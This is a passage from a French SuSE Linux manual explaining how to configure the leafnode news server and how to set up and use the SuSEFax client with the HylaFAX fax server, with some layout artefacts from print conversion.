/etc/mail, /usr/share/sendmail et /usr/doc/packages/sendmail. Comme adresse de départ pour WWW, vous pouvez prendre http: //www.sendmail.org/. Si vous avez des tâches plus complexes à réaliser, vous ne pourrez probablement pas échapper à la lecture du livre Sendmail édité par O'Reilly7 qui offre une excellente documentation précise et détaillée sur la configuration de sendmail . 7 ____________________________________________________ Voir [CAR93 ]. * * 207 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ 6.9 News : Les toutes dernières nouvelles de USENET L'un des plus importants services fournis par Internet est la transmission et la distribution d'informations organisées dans différents groupes. Cette partie de l'Internet est connue sous le nom de Usenet. Ce n'est que grâce à ce service que le développement de Linux a été possible et c'est cette forme de communication sans obstacles et d'une extrême efficacité qui permet de continuer à développer rapidement le système et d'y apporter continuellement des améliorations8 . USENET est, en outre, un moyen d'entr'aide essentiel pour les utilisateurs de Linux. Comme une description du système de news et de toutes les possibilités qu'il offre (par exemple transmission à d'autres machines) dépasserait le cadre de ce manuel, nous ne parlerons ici que de la configuration d'un système de news local. ________________________________________________________________________________________________________* *________||| | Pour de grands systèmes, il est recommandé d'avoir recours au paquetage * * |||| | * * ||| | inn, série n. Vous trouverez des informations sur l'installation de INN sous * * ||| | /usr/doc/packages/inn. Pour les systèmes UUCP, il est également ju- * * ||| | * * ||| | dicieux de donner la préférence à INN. ~ L'installation de INN n'est par * * ||| | couverte par l'Assistance Technique à l'Installation (voir paragraphe H.1.2 * * ||| | * * ||| | page 558). Nous sommes cependant volontiers disposés à vous venir en * * ||| | aide dans le cadre de notre Service Pro facturé à part (voir paragraphe H.3 * * ||| | * * ||| | page 561). * * ||| |_______________________________________________________________________________________________________* *________|||_ 6.9.1 Le système de news Leafnode Le paquetage leafnode est l'un des systèmes de news les mieux appropriés pour petits réseaux ou pour machines monopostes possédant une connexion Internet simple mais pas forcément des plus rapides. Ce paquetage est consti- tué de plusieurs parties : le serveur NNTP proprement dit leafnode , le pro- gramme fetchnews (autrefois : fetch) qui permet de retirer les articles et le programme texpire qui permet d'effacer les articles périmés ou ceux qui ne sont plus jugés intéressants. Il existe, en outre, des outils pour la gestion des stocks de données sous /var/spool/news. Vous trouverez une documen- tation relative à tous ces composants sous /usr/doc/packages/leafnode ainsi que dans la page de man de leafnode (man 8 leafnode ) et les autres + pages de man qui y sont mentionnées. ________________________________________________________________________________________________________* *________ | Lisez les remarques concernant la mise à jour au paragraphe 15.2.8 * * ||| | * * ||| | page 412. * * ||| |_______________________________________________________________________________________________________* *________|||_ Conditions requises pour la mise en oeuvre de Leafnode ~ Vous devez pouvoir accéder directement par modem (PPP), par connexion ISDN ou autre connexion réseau (par exemple Ethernet) à un ser- veur NNTP externe sur lequel vous pouvez retirer les ``news''. En cas _____________________________________________8 Ne négligeons pas de préciser que cette fonction est maintenant adoptée par les ``listes de diffusion'' dans de nombreux domaines. 208 _______________________________________________6.9.__News_:_Les_toutes_dernières_nouvelles_de_USENET________________________* *______________________ de doute, demandez à votre fournisseur d'accès Internet (+ FAI) les données du serveur NNTP à utiliser. ~ Le paquetage leafnode, série n doit être installé. ~ Espace disque sous /var/spool/news ;-) ~ Les phases de configuration que nous allons énumérer doivent être exécu- tées. Serveur NNTP local Vous devez tout d'abord vous assurer que Leafnode tourne comme ser- veur NNTP local. 1. Positionnez, dans le fichier /etc/rc.config, la variable à la valeur localhost . Vous pouvez bien sûr aussi utiliser le ``véritable'' nom de votre machine Linux en lieu et place de localhost (par exemple terre) si vous avez configuré votre machine en conséquence ; ceci est absolument indispensable dans un environnement réseau ! ~ La méthode la plus sûre pour positionner la variable est d'utiliser YaST (voir la procédure au paragraphe 3.6.12 page 114) car YaST invo- quera automatiquement_le script SuSEconfig lorsque vous aurez quitté le masque avec |F____1|0. 2. Dans le fichier /etc/leafnode/config, procédez à l'aide d'un + éditeur aux modifications indispensables ou souhaitables. Le nom du serveur NNTP de votre fournisseur d'accès doit obligatoirement être inscrit dans ce fichier (à server = ). 3. Prenez les dispositions nécessaires pour que leafnode soit lancé par inetd . Activez pour cela l'entrée nntp dans /etc/inetd.conf en sup- primant le caractère de commentaire (`#', tout dans une ligne !) ; voir fichier 6.9.1. 4. Lancez de nouveau inetd à la main afin que cette configuration devienne effective. Vous pouvez pour cela utiliser la commande rcinetd restart . _______________________________________________________________________________________________________________________|| |||||||| nntp stream tcp nowait news /usr/sbin/tcpd | |||||||| /usr/sbin/leafnode | ||||||||_______________________________________________________________________________________________________________ | fichier 6.9.1: Entrée inetd pour leafnode Maintenant tout est préparé au niveau local et vous pouvez entrer pour la première fois en contact avec le serveur de news du fournisseur d'accès. _______________________________________________________________________________________________________________________ |||||||| Avec telnet localhost 119 , vous pouvez vérifier si leafnode se mani- ||| | |||||||| || | |||||||| feste. Si c'est le cas, tapez la commande quit pour revenir à la ligne de || | |||||||| commande. || | ||||||||_______________________________________________________________________________________________________________||_ Initialiser et utiliser le système de news Votre système peut maintenant être initialisé. Si ce n'est pas déjà fait, établis- sez une connection IP avec votre FAI (ce sera en règle générale par modem * * 209 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ou ISDN). Lors du premier contact au moyen de fetchnews , les informations concernant les groupes disponibles sont retirées sur le serveur de news distant et placées sous /var/spool/news/interesting.groups. Si vous voulez suivre les détails des opérations exécutées par fetchnews , utilisez -vvv : terre:~ # fetchnews -vvv Aucun article n'est encore disponible ~ il n'en faut pas moins lancer un lec- teur de news supportant NNTP et jeter un coup d'oeil dans les groupes (encore vides) ; voir paragraphe 6.9.1. leafnode enregistre cela et lors de la prochaine invocation de fetchnews c'est dans ces groupes que seront placés les articles. Si vous ne voulez pas entrer manuellement la commande fetchnews à chaque fois que vous ``allez en ligne'', vous pouvez l'insérer par exemple dans votre script /etc/ppp/ip-up. Gérer le système de news leafnode a été conçu de telle manière qu'il peut se gérer lui-même dans une très large mesure. Cela signifie que si aucun utilisateur ne lit plus certains infogroupes, ceux-ci ne seront plus recherchés par fetchnews après l'écou- lement d'un délai déterminé. Il suffit en fait de veiller à ce que les vieux articles soient supprimés. Cette tâche est assumée par texpire et une entrée est déjà prévue à cette fin dans /etc/crontab ~ supprimez le caractère de commentaire `#' comme il vous est montré dans le fichier 6.9.2 (tout dans une ligne !). ________________________________________________________________________________________________________* *________ | 0 22 * * * root test -x /usr/sbin/texpire && /usr/sbin/texpire * * | |_______________________________________________________________________________________________________* *________ | fichier 6.9.2: Entrée Expire pour leafnode dans /etc/crontab Vous trouverez des informations sur les configurations qui peuvent être effec- tuées à l'aide du fichier /etc/leafnode/config ~ comme nous l'avons dit précédemment ~ dans la page de man de leafnode (man leafnode ). Lecture des news Pour la lecture des news, vous disposez de différents programmes tels que par exemple nn , tin ou pine . Mais vous pouvez utiliser Netscape ou Emacs . Le choix d'un lecteur de news est uniquement une question de goût personnel. Les lecteurs de news peuvent être configurés aussi bien pour l'accès à un serveur de news ~ comme il est courant dans un réseau ~ que pour l'accès au répertoire de spool local. Vous trouverez des paquetages configurés de façon appropriée dans la série n de SuSE Linux. Si vous voulez accéder au serveur NNTP leafnode avec tin (voir para- graphe 6.9.1 page 208 et pages suivantes), lancez ce lecteur de news par la commande rtin . 6.10 Linux et le fax Si vous voulez utiliser un PC Linux comme machine de fax, deux possibilités s'offrent à vous : 210 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ ~ Vous pouvez utiliser mgetty conjointement à sendfax et, par exemple, les outils du paquetage g3utils, ~ ou vous pouvez utiliser le serveur de fax HylaFAX en combinaison par exemple avec SuSEFax , le nouveau frontal de fax de SuSE , écrit entière- ment en Java. _______________________________________________________________________________________________________________________|| |||||||| Depuis la version 6.3 de SuSE Linux, le paquetage mgetty est subdivisé ||| | |||||||| || | |||||||| en trois paquetages : le paquetage mgetty, le paquetage g3utils et le pa- || | |||||||| quetage sendfax car le paquetage hylafax contient quelques commandes || | |||||||| || | |||||||| ayant le même nom que celles contenues dans le paquetage sendfax. || | ||||||||_______________________________________________________________________________________________________________||_ Les deux prochains paragraphes décrivent comment configurer et utiliser SuSEFax et HylaFAX sous SuSE Linux. 6.10.1 SuSEFax ~ Un client pour HylaFAX Comme nous l'avons dit précédemment, SuSEFax est écrit en Java. Cela si- gnifie que le ``Java Developers Kit'' doit être installé conjointement au paque- tage susefax. Si vous souhaitez utiliser SuSEFax sur une autre plate-forme, la meilleure chose à faire est d'installer le paquetage susefax et de copier tous les fichiers qui se trouvent sous /usr/lib/SuSEFax. Le wrapper SuSEFax est lancé par un petit script. Il s'agit de ce que l'on appelle un ``wrapper'' qui invoque l'interpréteur Java avec les paramètres nécessaires et vérifie si certaines conditions sont remplies. On trouve ce script sous /usr/X11/bin/susefax. Il est possible de paramétrer le programme avec des variables d'environnement indépendantes du système (Linux) qui sont les propriétés du système . Le tableau 6.2 page suivante montre les propriétés connues du système, leur signification et les valeurs internes qui sont uti- lisées par défaut si ces paramètres ne sont pas transmis à l'interpréteur. À l'exception du paramètre susefax.images, il n'est généralement pas utile de spécifier ces paramètres lorsque le programme tourne sur un système d'exploitation multiutilisateur. Il est ici question de systèmes qui permettent d'attribuer à un utilisateur déterminé un répertoire personnel déterminé (tous les systèmes UNIX et Windows NT mais pas OS/2 ). Si ce n'est pas possible avec votre système, vous devrez définir les valeurs pour suse- fax.setup.path, susefax.setup.file et susefax.phonebook.file, sinon le programme risque de ne pas fonctionner. Il n'a toutefois pas encore été fait de tests à ce sujet. Si vous voulez modifier un ou plusieurs de ces paramètres, vous devrez seule- ment effacer le caractère de commentaire qui suit le nom de la variable (voir fichier 6.10.1 page suivante). Utilisation La figure 6.7 page 213 montre l'aspect de la fenêtre principale lorsque le bouton `Send queue' a été activé et que l'on s'est procuré à l'aide du bouton * * 211 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *____________ | Propriété | Valeur par | Signification * * | ||________________________________________||_____défaut_______________||________________________________* *___________||__ | susefax.setup.path | $HOME | Chemin d'accès au réper- * * | | | | * * | | | | toire dans lequel le fichier* * | | | | de configuration et la base * * | | | | * * | | | | de données annuaire télé- * * | | | | * * | |______________________________|______________________________________|_phonique_doivent_être_placés____* *___________|_ | susefax.setup.file | .susefaxrc | Nom sous lequel le fichier * * | | | | * * | |______________________________|______________________________________|_de_configuration_est_stocké_____* *___________|_|||| | susefax.phonebook.file | .susephone | Nom sous lequel la base de * * | | | | données annuaire télépho- * * | | | | * * | |__________________________|__________________________________________|_nique_doit_être_stockée_________* *___________|_|||| | susefax.images | ./images | Chemin d'accès au réper- * * | | | | toire contenant les images * * | | | | * * | |__________________________________|__________________________________|_nécessaires_aux_dialogues_______* *___________|_ Tab. 6.2: Les propriétés du système de SuSEFax ________________________________________________________________________________________________________* *________|| | # if you want to store the settings other than * * | | * * | | # $HOME/.susefaxrc, then you may place another path and/or * * | | # filename here * * | | * * | | * * | | SETUPDIR= # -Dsusefax.setup.path=/wo/auch/immer * * | | SETUPFILE= # -Dsusefax.setup.file=/was/auch/immer * * | | * * | | * * | | # even the phonebook can be renamed to whatever * * | | * * | | * * | | PHONEBOOK= # -Dsusefax.phonebook.file=wieauchimmer * * | |_______________________________________________________________________________________________________* *________ | fichier 6.10.1: Extrait du script wrapper : /usr/X11/bin/susefax `Fetch states' des informations sur les jobs de la file d'envoi, à savoir les fax envoyés au cours des dernières minutes. Lorsque le bouton `Receive queue' a été activé, il est établi une liste des fax reçus au cours des dernières minutes. Si vous sélectionnez le bouton `Update information', le statut du serveur sera automatiquement actualisé à une fréquence que vous pourrez déterminer dans le champ situé en_dessous._Le choix de l'intervalle entre les mises à jour sera validé par |_____-|. En fonction du bouton activé, `Receive queue' ou `Send queue', il sera affiché à droite de la liste des jobs l'action déclenchée par un double clic sur une entrée de la liste. En mode `Send queue', vous pouvez en outre décider si un double clic doit provoquer la suppression d'un job se trouvant dans la file ou si ses paramètres doivent être modifiés. Dans le menu `Extras', vous pouvez choisir la langue que vous désirez (anglais ou allemand , le français n'étant pas encore disponible). Commençons par la configuration Avant qu'il ne soit possible d'obtenir des informations sur le serveur ou de lancer des processus, le programme doit être configuré. Cela se fait avec l'option `Main settings' du menu `Program'. Toutes les configurations 212 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ Fig. 6.7: Send queue sont enregistrées lorsque vous quittez l'un des dialogues de configuration. Si vous quittez le programme, l'état actuel de la configuration sera également enregistré. Configuration globale Signification des différents champs : Username : Le prénom et le nom de l'utilisateur sont spécifiés ici. Cette information est nécessaire pour créer une page de garde de fax. EMail : Les messages du serveur de fax seront envoyés à l'adresse E-mail indiquée ici, dans le cas par exemple ou un fax a été supprimé de la file d'envoi sans que le serveur ait pu l'envoyer. User account : Le serveur de fax est capable de distinguer les utilisateurs et peut leur accorder ou leur refuser l'accès. Pour cette raison, il est néces- saire d'entrer ici le nom du compte sous lequel l'utilisateur est connu du serveur. Il est également possible d'attribuer un mot de passe à un utilisa- teur. * * 213 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Fig. 6.8: Dialogue pour la configuration globale Hostname of the faxerver : Il s'agit ici du nom de la machine sur laquelle fonctionne votre serveur de fax. Automatic faxing : Lorsque ce bouton est activé, le fichier spéficié sous `Spool file' est vérifié à des intervalles de quelques secondes. Si ce fichier a été modifié, le dialogue `Send fax' est automatiquement ou- vert. Cette option est particulièrement utile lorsque l'on imprime directe- ment dans un fichier au moyen d'un pilote d'imprimante depuis une autre application. Il est ainsi possible d'envoyer un fax depuis n'importe quelle application à condition que celle-ci soit capable de convertir le document en PostScript (voir paragraphe 6.10.3 page 221). Spool file : Vous devez indiquer ici le chemin complet vers le fichier en at- tente si vous souhaitez que les fax soient envoyés automatiquement. Un clic sur le bouton `Search' ouvre un exploreur (angl. browser) avec le- quel on peut rechercher un tel fichier Fax cover : Pour la création d'une page de garde de fax, on a besoin d'un fichier PostScript spécial. Le nom complet du chemin d'accès à ce fichier est spécifié ici. Time zone : La zone horaire devrait être la même que celle configurée sur le système local. Country : La configuration du pays détermine la présentation des dates et horaires, par exemple sur la page de garde de vos fax. 214 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ Fig. 6.9: Dialogue pour les paramètres des jobs Paramètres des jobs Après avoir effectué correctement la configuration globale, vous pourrez en- voyer votre premier fax. Un fax ou un fichier qui a été émis devient un job sur le serveur de fax. Il attend dans la file d'envoi, éventuellement avec d'autres jobs, d'être expédié. Il existe des paramètres pour chaque job. Ils sont déter- minés avant et après le placement des jobs dans la file d'envoi. Avant l'en- voi, cela se fait par le dialogue `Job settings' qui est accessible via `Ex- tras'. Signification des différents paramètres : Notification Scheme : On détermine ici à quel moment le serveur de fax fera parvenir un message à l'utilisateur dont l'adresse E-mail a été configurée. Il existe quatre schémas différents ~ Never (only errors) : L'utilisateur ne sera informé que s'il s'est pro- duit une erreur qui a eu pour conséquence de faire échouer l'envoi du job. ~ After sending : L'utilisateur sera aussi informé après l'envoi d'un fax. ~ After a `Requeue' : L'utilisateur sera informé si une tentative d'envoi a échoué du fait, par exemple, que la machine distante était occupée * * 215 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ~ After `Requeue' and `Sending :' Une combinaison des deux pré- cédents schémas. Le premier schéma s'applique dans tous les cas. Cela signifie que même si l'on choisit par exemple le deuxième schéma, l'utilisateur sera informé si l'envoi du job a échoué. Resolution : On détermine ici la résolution du fax envoyé. Elle est mesurée en nombre de lignes par pouce (lpi). Priority : La priorité d'un job dans la file d'envoi. La valeur par défaut est fixée à 127 . Le serveur de fax modifie l'ordre des priorités en cas de besoin, dans le cas par exemple où l'envoi d'un job a échoué à cause d'une ligne occupée. Maximum tries to sent : On détermine ici le nombre de tentatives que le serveur devra faire pour envoyer un job si par exemple des erreurs de transmission se sont produites en raison d'une mauvaise qualité de la ligne. Maximum tries to dial : Nombre de tentatives d'appel dans le cas par exemple où l'autre machine est occupée ou si elle ne décroche pas. Paper format : Trois formats de papier sont supportés par SuSEFax : A4, A3 et ``North American Letter''. Le format sélectionné dépend du format du document PostScript à envoyer. Si vous avez activé `Modify job parameter' dans la fenêtre princi- pale à côté de la liste des jobs, vous pourrez ouvrir une boîte de dia- logue par un double clic sur un job et vous pourrez positionner les paramètres `Notification scheme', `Maximum tries to send' et `Maximum tries to dial' du job que vous avez sélectionné. Visualiseur externe Si la liste des jobs dans la fenêtre principale montre le contenu de la file de réception, il est possible de voir un fax reçu à l'aide d'un visualiseur externe . Le fax lui-même est au format tiffg3 et le visualiseur externe doit donc être capable de l'afficher. Ce format permet de placer plusieurs images dans un fichier. Le programme SuSEFax est accompagné d'un petit script qui génère un document PostScript à l'aide de la commande fax2ps de la TIFF Software de Sam Leffler (paquetage tiff). Ce document est transmis à un visualiseur externe. Le script recherche d'abord le programme gv de Johannes Plass (paquetage gv) et ensuite GhostView de Timothy O. Theisen (paquetage gs_x11). Son nom est docview et il se trouve sous /usr/lib/SuSEFax. Signification des entrées dans la boîte de dialogue pour le visualiseur externe : Path to tempory files : SuSEFax place dans ce répertoire l'image au format tiffg3 récupérée sur le serveur et remplace le caractère joker $F par le nom complet du chemin d'accès à ce fichier. ________________________________________________________________________________________________________* *________ | L'utilisateur qui a lancé SuSEFax doit avoir dans ce répertoire aussi bien * * ||| | * * ||| | des droits d'écriture que des droits de lecture ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 216 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ Invoking the viewer : Vous devez spécifier ici le nom complet du chemin d'accès au programme ou au script qui doit afficher le fichier. Ce pro- gramme ou script doit accepter comme paramètre le chemin d'accès au fichier à visualiser. Envoi d'un fax Lorsque les configurations essentielles ont été faites, on doit d'abord véri- fier s'il est possible d'obtenir des informations sur le statut du serveur (voir page 211). Si ce n'est pas possible, aucun fax ne pourra être envoyé. Il peut éventuellement s'avérer nécessaire de vérifier la configuration de SuSEFax ou du serveur HylaFAX . Si tout a été fait correctement, vous pouvez, en sé- lectionnant l'option du menu `Send fax', ouvrir une boîte de dialogue dont les champs ont la signification suivante : Telephone number of the remote host : Le numéro de téléphone du des- tinataire. Un clic sur le bouton `From telephone book' ouvre l'an- nuaire. Vous pouvez ainsi sélectionner directement un numéro de télé- phone dans l'annuaire. Document to be send : Le nom complet du chemin d'accès au document à envoyer doit apparaître ici. Un clic sur le bouton `Search' ouvre un exploreur à l'aide duquel vous pouvez sélectionner le fichier à envoyer. Use fax cover : Il n'est possible d'activer ce bouton que si un chemin d'ac- cès à un fichier de pages de garde de fax a été spécifié. Si ce bouton a été activé, vous pouvez remplir les champs suivants pour qu'une page de garde, qui sera ensuite envoyée, soit générée à partir de ces informations. Do not send immediatly : En activant ce bouton, vous ouvrez une boîte de dialogue dans laquelle il est possible de déterminer à quel moment le fax doit être envoyé. Si vous quittez le dialogue avec `Cancel', le fax sera envoyé immédiatement, comme il le serait si vous cliquiez sur `Send fax'. Lorsque vous spécifiez la date et l'heure, vous devez tenir compte de ce qui suit : ~ S'il a été fait une entrée dans l'un des champs, la touche d'entrée devrait être activée afin que le programme vérifie automatiquement s'il s'agit d'une date valide. Si ce n'est pas le cas, l'entrée sera corrigée afin qu'elle corresponde à une date valide. Name of sender : Nom de l'émetteur. On indique toujours ici le nom qui a été spécifié dans la configuration globale. Name of recepient : Nom du destinataire Regarding : Objet To company : Entreprise destinataire Comment : Commentaire La sélection de ce bouton `Poll fax' présume que vous avez déjà spécifié le numéro de téléphone du serveur de fax. Pour cela, il n'est évidemment pas nécessaire de spécifier un fichier à envoyer. * * 217 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Signification des entrées dans la liste des jobs Comme nous l'avons déjà mentionné, il est possible d'afficher dans la liste des jobs aussi bien le contenu de la file d'envoi que celui de la file de ré- ception. Nous allons maintenant vous donner la signification des différents éléments de ces entrées. File de réception (Reception queue) Vous pouvez voir, en lisant de gauche à droite, les droits d'accès, la taille en octets, le nombre de pages, la TSI et le nom du fichier d'un fax reçu. La TSI (angl. Transmission Subscriber Identification) est une forme d'identification que la machine distante utilise pour son télécopieur. Ce n'est pas obligatoire- ment un numéro de téléphone. Il peut très bien s'agir du nom d'une entreprise ou de quelque chose d'équivalent. ________________________________________________________________________________________________________* *________|| | Les fax reçus ne peuvent être visualisés par un double clic que si le serveur * * |||| | est configuré de telle manière que les droits de lecture sont attribués à * * ||| | * * ||| | tous les utilisateurs. Pour cela, vous devez inscrire les droits 0644 dans le * * ||| | fichier /var/spool/fax/etc/config.device (voir paragraphe 6.10.4 * * ||| | * * ||| | page 223) derrière le mot-clé RecvFileMode : * * ||| |_______________________________________________________________________________________________________* *________|||_ File d'envoi (send queue) De gauche à droite, vous pouvez voir l'identification du job (job ID), la prio- rité, le compte utilisateur, le numéro de téléphone du destinataire, l'heure de l'envoi et/ou le nombre de tentatives d'appel et le nombre maximal de tenta- tives d'appel. Si une erreur s'est produite, le message d'erreur sera également ajouté dans la ligne correspondante. Le job ID est automatiquement assigné par le serveur de fax. La priorité peut être déterminée pour chaque job, mais elle est modifiée en cas de besoin par le serveur de fax. Le compte utilisateur indique quel utilisateur a lancé ce job. Seul cet utilisateur peut le supprimer ou en modifier les paramètres. L'annuaire Les noms et numéros de fax peuvent être gérés dans l'annuaire (voir fi- gure 6.10 page suivante). Ceci permet l'affichage et le classement par noms, prénoms, numéros de fax ou noms d'entreprises. Un double clic sur une en- trée permet d'ouvrir l'éditeur. L'éditeur d'entrées est dans ce cas un visualiseur. Si l'on sélectionne mainte- nant une autre entrée dans la liste de l'annuaire, celle-ci sera affichée dans l'éditeur. Si le bouton `Edit' est activé dans l'annuaire, il sera possible d'écrire dans les champs de l'éditeur. L'entrée faite peut maintenant être éditée. Si vous activez `Accept entry', les modifications seront prises en compte. Il est nécessaire pour cela que les champs `Surname', `Name' et `Telefon number' aient été renseignés. Si l'éditeur se trouve en mode `View entry', un clic sur le bouton `Send fax' ouvre `Send fax dialogue' et les éléments `Surname', `Name', `Telefon number', `Company' et `Comment' seront insérés dans les 218 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ Fig. 6.10: L'annuaire champs pour la création de la page de garde (voir page 217). La page de garde ne sera évidemment envoyée que si vous avez cliqué sur le bouton `Use fax cover'. Si vous avez exécuté une action qui fait disparaître la barre de sélection dans l'annuaire, par exemple `Sort', le bouton `Send fax' sera désactivé. Vous pourrez le réactiver en sélectionnant une entrée. En activant le bouton `Add' dans l'annuaire, vous ajoutez une nouvelle entrée à la fin de la liste. `Remove' efface l'entrée qui vient d'être marquée. Il ne sera effectué un classement dans la liste que si vous activez le bouton `Sort'. Ce classement sera fait par ordre numérique et alphabétique croissant selon les critères qui se trouvent sous `Shown is'. Les boutons `Save changes' et `Save & Exit' ne peuvent être sélection- nés que si l'un des boutons `Accept entry', `Sort' ou `Remove' a été auparavant activé. L'annuaire peut aussi être utilisé en mode `standalone'. Vous devez pour cela entrer susephone dans le shell et le wrapper sera invoqué. Mais dans ce cas, il ne sera pas possible d'envoyer de fax. _______________________________________________________________________________________________________________________|| |||||||| Il est déconseillé de lancer deux fois le programme annuaire sous un ||| | |||||||| compte utilisateur. Mais si vous le faites quand même, veillez à ce que || | |||||||| || | |||||||| l'annuaire ne soit pas sauvegardé par la même occasion. || | ||||||||_______________________________________________________________________________________________________________||_ Le dialogue fax série Le dialogue fax série vous permet, à partir des entrées de l'annuaire, d'établir une liste des fax à envoyer en série. Pour ajouter une ou plusieurs entrées à la liste des fax, vous devez d'abord les sélectionner. Il en est de même si vous désirez supprimer une ou plusieurs entrées. La sélection se fait soit à l'aide de la souris, soit par l'un des deux boutons `Toggle'. En activant par exemple le bouton `(Toggle', vous sélectionnerez toutes les entrées de la liste qui ne sont pas encore sélectionnées et toutes celles qui sont sélectionnées seront désélectionnées. Ceci est également valable pour la liste des fax série. Un clic * * 219 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ sur le bouton `Send faxes' provoque l'envoi de tous les fax de la liste. Pour les fax envoyés en série, il n'est pas possible de créer automatiquement une page de garde. 6.10.2 Création automatique de la page de garde Comme nous l'avons déjà mentionné plus haut, la création automatique d'une page de garde de fax requiert un modèle de document (angl. tem- plate) PostScript . Il ne s'agit pas ici d'un fichier pouvant être interprété par un interpréteur de PostScript mais d'un fichier contenant des caractères de substitution pour les informations qui sont insérées lors de la création de la page de garde. Un tel modèle de document peut être plus ou moins diffi- cile à réaliser. Si vous êtes familiarisé avec les polices de caractèresALTEX, vous apprécierez sûrement le paquetage latex-cover 9 de R. Krienke. Ce paquetage permet d'utiliser un style de TEX qui facilite la création d'un tel modèle de document. La page de garde de ce paquetage et celle du paquetage hylafax ont été réalisées au moyen de latex-cover . Si vous ne voulez pas l'utiliser, vous devrez créer un fichier PostScript ``nor- mal'' et insérer manuellement les macros et les caractères de substitution né- cessaires. Quels sont les mots-clés connus de SuSEFax ? Si vous modifiez le document TEX, vous devez garder présent à l'esprit que la version actuelle de SuSEFax ne remplace que les macros suivantes : __________________________ |__\toperson______|_______ |__\from______________|___ |__\regarding____|________ |__\tocompany____|________ |__\todaysdate__|_________ |__\comments______|_______ Pour tester le modèle de document que vous avez élaboré vous-même, vous pouvez utiliser le programme faxcover du paquetage hylafax. Il crée, à partir du modèle de document, un fichier PostScript que vous pouvez visualiser ou imprimer. Mais vous pouvez aussi utliser le binaire Java FaxCovergen.class du paquetage susefax pour faire le test. Il vous suffit pour cela d'entrer, dans un répertoire de votre choix : tux@terre:/home/tux > java -classpath /usr/lib/java/lib/classes.zip:/usr/lib SuSEFax.FaxCovergen Vous devriez alors voir l'affichage : ________________________________________________________________________________________________________* *________ | Command: FaxCovergen sourcecover.ps docname.ps targetcover.ps * * | | * * | |_______________________________________________________________________________________________________* *________ | _____________________________________________9 Ce paquetage est installé sous /usr/doc/packages/hylafax lors de l'installation du paque- tage hylafax. 220 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ La page de garde source est dans ce cas le modèle de document. Derrière docname.ps se cache le document qui sera transmis lors de l'envoi effectif du fax. La page de garde ainsi créée sera stockée dans targetcover.ps et vous pourrez également la visualiser. Ces arguments seront simplement ajoutés à la fin de la commande mentionnée ci-dessus. 6.10.3 Traitement différé des fax sous UNIX /Linux Le mécanisme de spool (traitement différé) sous SuSEFax a en fait été conçu pour être utilisé sous Windows . Il est cependant possible d'en tirer parti sous Linux . Il vous suffit pour cela d'installer le paquetage faxprint, série n (Support réseau). Si vous convertissez maintenant le fichier /etc/passwd au format PostScript au moyen, par exemple, de la commande a2ps -nP /etc/passwd | lpr - Pfax et si vous l'envoyez en le faisant passer par le filtre d'impression nou- vellement configuré, vous devriez pouvoir trouver sous le répertoire /tmp un fichier du nom de fax_accountname.ps . Ici, accountname est le nom sous lequel vous vous êtes connecté au système. Si ce fichier existe, vous pouvez l'enregistrer comme fichier en attente ainsi qu'il a été décrit au paragraphe 6.10.1 page 213 et activer le bouton `Automatic fax'. _______________________________________________________________________________________________________________________|| |||||||| Le mécanisme de spool ne peut fonctionner que si le programme SuSEFax ||| | |||||||| est lancé. SuSEFax vérifie régulièrement l'horodatage Lastmodified du || | |||||||| || | |||||||| fichier et ouvre une boîte de dialogue si une modification doit être faite. || | ||||||||_______________________________________________________________________________________________________________||_ 6.10.4 HylaFAX ~ Fax répartis Fonctionnement L'installation et la configuration de HylaFAX ne sont pas couvertes par l'As- sistance Technique à l'Installation (voir paragraphe H.1.2 page 558). Nous sommes cependant volontiers disposés à vous venir en aide dans le cadre de notre Service Pro facturé à part (voir paragraphe H.3 page 561). La figure 6.11 page suivante montre le fonctionnement du serveur de fax et le principe de l'interaction avec les clients. Ainsi que l'illustration le fait res- sortir, il existe trois voies de communication entre les clients et le serveur. Le protocole qui se cache derrière le port 4557 est présent pour des raisons de compatibilité avec d'anciennes versions HylaFAX . Un client du nom de WinFlex , de Peter Bentley, qui tourne sous les anciennes versions de Win- dows utilise encore ce protocole. Les clients plus récents devraient utiliser le protocole sur le port 4559 qui s'inspire, dans une très large mesure, du File Transfer Protocol, RFC959. Le troisième protocole est le SNPP (Simple Network Paging Protocol, RFC1861). Le serveur lui-même est constitué par trois démons dont chacun a des tâches déterminées à accomplir : hfaxd est le serveur de protocole. Il est responsable de la communication entre le client et le serveur. Il peut être lancé soit en ``standelone'', par exemple par le processus Init lors du démarrage du système, soit au * * 221 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Fig. 6.11: Fonctionnement du serveur HylaFAX moyen de Inetd . Il communique avec le processus faxq par l'intermé- diaire d'un ``fichier FIFO spécial''. faxq est le ``gestionnaire de files d'attente'' . Il est responsable de la gestion des fax entrants et sortants et de la file d'attente des jobs. Ce processus tourne en permanence et un seul devrait tourner. faxgetty est responsable de la communication avec le modem. Comme al- ternative à faxgetty , on peut utiliser le programme faxmodem si l'on sou- haite uniquement envoyer des fax sans en recevoir. Il peut en outre être géré au moyen d'un fichier FIFO 10 Structure des répertoires Le serveur fonctionne en mode dit ``change-root''. Le répertoire Server-Root est par défaut /var/spool/fax. Les processus du serveur et le répertoire Server-Root appartiennent à l'utilisateur et au groupe `uucp'. Le tableau 6.3 page suivante montre tous les répertoires qui se trouvent dans Server-Root et décrit leur fonction. 1_____________________________________________0 Un fichier FIFO (angl. FIFO = First In First Out) est un fichier dans lequel les données seront lues dans l'ordre dans 